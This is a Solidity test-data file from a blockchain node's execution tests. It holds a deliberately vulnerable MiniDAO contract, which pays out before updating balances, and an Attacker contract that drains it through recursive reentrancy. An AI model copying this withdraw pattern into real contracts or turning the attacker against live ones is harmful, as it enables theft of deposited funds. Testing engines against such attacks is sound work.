github.com/iotexproject/iotex-core@v1.14.1-rc1/action/protocol/execution/testdata-istanbul/reentry-attack.sol (about)

     1  pragma solidity ^0.8.4;
     2  
     3  contract MiniDAO {
     4      mapping (address => uint) balances;
     5  
     6      function deposit() public payable{
     7          balances[msg.sender] += msg.value;
     8      }
     9  
    10      function withdraw(uint amount) public {
    11          if(balances[msg.sender] < amount) revert();
    12          //msg.sender.send(amount);
    13          msg.sender.call{value: amount}(abi.encodeWithSignature("recur()"));
    14          balances[msg.sender] -= amount;
    15      }
    16  }
    17  
    18  contract Attacker {
    19  
    20      // limit the recursive calls to prevent out-of-gas error
    21      uint stack = 0;
    22      uint constant stackLimit = 3;
    23      uint amount;
    24      MiniDAO dao;
    25  
    26      constructor(address daoAddress) payable {
    27          dao = MiniDAO(daoAddress);
    28          amount = msg.value/10;
    29          dao.deposit{value: msg.value}();
    30      }
    31  
    32      function attack() public {
    33          dao.withdraw(amount);
    34      }
    35  
    36      function recur() public payable {
    37           if(stack++ < stackLimit) {
    38               dao.withdraw(amount);
    39          }
    40      }
    41  }